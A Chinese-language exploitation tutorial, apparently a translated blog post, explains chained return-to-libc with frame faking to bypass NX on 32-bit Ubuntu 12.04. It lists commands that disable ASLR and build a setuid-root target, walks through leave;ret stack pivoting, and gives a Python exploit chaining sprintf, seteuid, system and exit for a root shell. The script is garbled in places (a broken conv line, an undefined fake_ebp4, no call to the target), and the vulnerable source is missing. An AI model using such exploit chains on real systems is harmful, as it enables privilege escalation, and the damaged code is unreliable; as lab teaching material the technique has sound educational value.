使用链式 return-to-libc 绕过 NX bit

优质
小牛编辑
121浏览
2023-12-01

前提条件:

  • 经典的基于堆栈的缓冲区溢出

  • 使用return-to-libc绕过NX 位

虚拟机安装:Ubuntu 12.04(x86)

链接的returned-to-libc?

正如以前的帖子看到的,有需要攻击者为了成功利用需要调用多个libc函数。链接多个libc函数的一种简单方法是在堆栈中放置一个libc函数地址,但是由于函数参数的原因,所以是不可能的。讲的不是很清楚,但是没有问题,继续!

漏洞代码:

注意:此代码与上一篇文章()中列出的漏洞代码相同。

编译命令:

  1. #echo 0 > /proc/sys/kernel/randomize_va_space
  2. $gcc -fno-stack-protector -g -o vuln vuln.c
  3. $sudo chown root vuln
  4. $sudo chgrp root vuln
  5. $sudo chmod +s vuln

如前一篇文章所述,链接setuidsystemexit将允许我们能够利用漏洞代码vuln。但由于以下两个问题,不是一个直接的任务:

2、seteuid_arg应为零。但是由于我们的缓冲区溢出是由于strcpy引起的,所以零变成一个坏的字符,ie)这个零之后的字符不会被strcpy()复制到堆栈中。

现在看看如何克服这两个问题。

问题1:为了解决这个问题,Nergal谈到了两项辉煌的技术

1、ESP Lifting

2、Frame Faking

在他的pharck杂志的文章中。这里让我们只看关于帧伪造,因为应用esp lifting技术二进制应该在没有帧指针下支持下进行编译(-fomit-frame-pointer)。但是由于我们的二进制(vuln)包含帧指针,我们需要应用帧伪造技术。

帧伪造?

在这种技术中,而不是使用libc函数地址(本例中为seteuid)直接覆盖返回地址,我们用leave ret指令来覆盖它。这允许攻击者将堆栈中的函数参数存储起来,而不会有任何重叠,从而允许调用相应的libc函数,而不会有任何问题。让我们来看看会怎么样?

堆栈布局:当攻击者伪造帧进行缓冲区溢出时,如下图堆栈布局所示,成功链接libc函数seteuid, systemexit:

使用链式 return-to-libc 绕过 NX bit - 图2

leave ret指令如何调用上面的libc函数?

要知道上述问题的答案,首先我们需要了解leave指令,leave指令转换为:

让我们反汇编main()函数来了解更多关于leave ret指令的信息。

  1. (gdb) disassemble main
  2. Dump of assembler code for function main:
  3. ...
  4. 0x0804851c <+88>: leave //mov ebp, esp; pop ebp;
  5. 0x0804851d <+89>: ret //return
  6. End of assembler dump.
  7. (gdb)

main结尾:

main的结尾执行之前,如上面的堆栈布局所示,攻击者将会溢出缓冲区并且将会覆盖,main的ebp是fake_ebp00xbffff204)并且返回地址是leave ret指令地址(0x0804851c)。现在当CPU即将执行main的结尾时,EIP指向文本地址0x0804851cleave ret)。执行时,发生以下情况:

  • leave 改变下面的寄存器
    • esp = ebp = 0xbffff1f8
    • ebp = 0xbffff204, esp = 0xbffff1fc
  • ret 执行 leave ret 指令(位于栈地址0xbffff1fc

seteuid:现在EIP再次指向代码地址0x0804851cleave ret)。执行中,发生以下情况:

  • leave 改变下面寄存器
    • esp = ebp = 0xbffff204
  • ret执行seteuid()(位于堆栈地址0xbffff208). 为了成功调用seteuid, seteuid_arg应该被放在从seteuid_addr起的8字节处,在堆栈位置0xbffff210
  • seteuid()调用后, leave ret 指令(位于堆栈地址0xbffff20c)执行
  • 按照上述过程,systemexit也将被调用,因为堆栈被设置为由攻击者调用 -如上面的堆栈布局图所示

问题2:在我们的情况下,seteuid_arg应为零。但是由于零是一个坏字符,如何在堆栈地址0xbffff210写零?有一个简单的解决方案,它在同一篇文章中由nergal讨论。在链接libc函数时,前几个调用应该是strcpy,它将NULL字节复制到seteuid_arg的堆栈位置。

注意:不幸的是在我的libc.so.6strcpy的函数地址是0xb7ea6200,libc函数地址本身包含一个NULL字节(坏字符!!)。因此,strcpy不能用于漏洞代码。sprintf(其函数地址为0xb7e6e8d0)用作strcpy的替代,使用sprintfNULL字节复制到seteuid_arg的堆栈位置。

因此,以下libc函数被链接来解决上述两个问题并成功获取root shell:

利用代码:

  1. #exp.py
  2. #!/usr/bin/env python
  3. import struct
  4. from subprocess import call
  5. fake_ebp0 = 0xbffff1a0
  6. fake_ebp1 = 0xbffff1b8
  7. fake_ebp2 = 0xbffff1d0
  8. fake_ebp3 = 0xbffff1e8
  9. fake_ebp5 = 0xbffff214
  10. fake_ebp6 = 0xbffff224
  11. fake_ebp7 = 0xbffff234
  12. leave_ret = 0x0804851c
  13. sprintf_addr = 0xb7e6e8d0
  14. seteuid_addr = 0xb7f09720
  15. system_addr = 0xb7e61060
  16. exit_addr = 0xb7e54be0
  17. sprintf_arg1 = 0xbffff210
  18. sprintf_arg2 = 0x80485f0
  19. sprintf_arg3 = 0xbffff23c
  20. system_arg = 0x804829d
  21. exit_arg = 0xffffffff
  22. def conv(num):
  23. return struct.pack("<I",num* 264
  24. buf += conv(fake_ebp0)
  25. buf += conv(leave_ret)
  26. #Below four stack frames are for sprintf (to setup seteuid arg )
  27. buf += conv(fake_ebp1)
  28. buf += conv(sprintf_addr)
  29. buf += conv(leave_ret)
  30. buf += conv(sprintf_arg1)
  31. buf += conv(sprintf_arg2)
  32. buf += conv(sprintf_arg3)
  33. buf += conv(fake_ebp2)
  34. buf += conv(sprintf_addr)
  35. buf += conv(leave_ret)
  36. sprintf_arg1 += 1
  37. buf += conv(sprintf_arg1)
  38. buf += conv(sprintf_arg2)
  39. buf += conv(sprintf_arg3)
  40. buf += conv(sprintf_addr)
  41. buf += conv(leave_ret)
  42. sprintf_arg1 += 1
  43. buf += conv(sprintf_arg1)
  44. buf += conv(sprintf_arg2)
  45. buf += conv(sprintf_arg3)
  46. buf += conv(fake_ebp4)
  47. buf += conv(sprintf_addr)
  48. buf += conv(leave_ret)
  49. sprintf_arg1 += 1
  50. buf += conv(sprintf_arg1)
  51. buf += conv(sprintf_arg2)
  52. buf += conv(sprintf_arg3)
  53. #Dummy - To avoid null byte in fake_ebp4.
  54. buf += "X" * 4
  55. #Below stack frame is for seteuid
  56. buf += conv(fake_ebp5)
  57. buf += conv(seteuid_addr)
  58. buf += conv(leave_ret)
  59. #Dummy - This arg is zero'd by above four sprintf calls
  60. buf += "Y" * 4
  61. #Below stack frame is for system
  62. buf += conv(fake_ebp6)
  63. buf += conv(system_addr)
  64. buf += conv(leave_ret)
  65. buf += conv(system_arg)
  66. #Below stack frame is for exit
  67. buf += conv(fake_ebp7)
  68. buf += conv(exit_addr)
  69. buf += conv(leave_ret)
  70. buf += conv(exit_arg)
  71. print "Calling vulnerable program"

执行上述漏洞代码给我们root shell!